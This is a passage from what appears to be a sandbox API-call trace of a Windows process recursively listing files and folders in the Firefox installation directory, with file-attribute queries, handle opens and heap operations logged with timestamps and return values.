ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 0 [0089.347] GetLastError () returned 0x12 [0089.348] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0089.348] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amazondotcom.xml", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.xml", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa17, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBay.xml", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="google.xml", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb91, dwReserved0=0x0, dwReserved1=0x0, cFileName="twitter.xml", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="wikipedia.xml", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 1 [0089.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 0 [0089.348] GetLastError () returned 0x12 [0089.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.348] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0089.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.349] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="")) returned 0 [0089.350] GetLastError () returned 0x12 [0089.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef128) returned 1 [0089.350] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.350] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x24ca9180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1ca70, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.exe", cAlternateFileName="")) returned 1 [0089.350] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x45382300, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0xfa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter.ini", cAlternateFileName="")) returned 1 [0089.350] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xfd9a7300, ftLastWriteTime.dwHighDateTime=0x1cafd02, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="D3DCompiler_43.dll", cAlternateFileName="")) returned 1 [0089.350] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="defaults", cAlternateFileName="")) returned 1 [0089.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.352] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.352] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.352] NtClose (Handle=0x178) returned 0x0 [0089.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef128 [0089.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.353] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.354] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.354] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1 [0089.354] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 0 [0089.354] GetLastError () returned 0x12 [0089.354] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.354] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.354] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.354] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1 [0089.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0089.355] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.356] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.356] NtClose (Handle=0x178) returned 0x0 [0089.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.357] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0089.357] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.357] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="")) returned 1 [0089.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef4e0 [0089.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef4e0) returned 1 [0089.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef4e0 [0089.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef4e0) returned 1 [0089.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef4e0 [0089.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1a68 [0089.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef4e0) returned 1 [0089.359] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="")) returned 0 [0089.359] GetLastError () returned 0x12 [0089.359] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.359] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.359] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.359] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="")) returned 1 [0089.359] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="")) returned 0 [0089.359] GetLastError () returned 0x12 [0089.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.360] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.360] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 0 [0089.360] GetLastError () returned 0x12 [0089.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.361] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef128) returned 1 [0089.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.361] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x52aed680, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="")) returned 1 [0089.361] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dictionaries", cAlternateFileName="")) returned 1 [0089.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.363] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.363] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.363] NtClose (Handle=0x164) returned 0x0 [0089.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef128 [0089.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 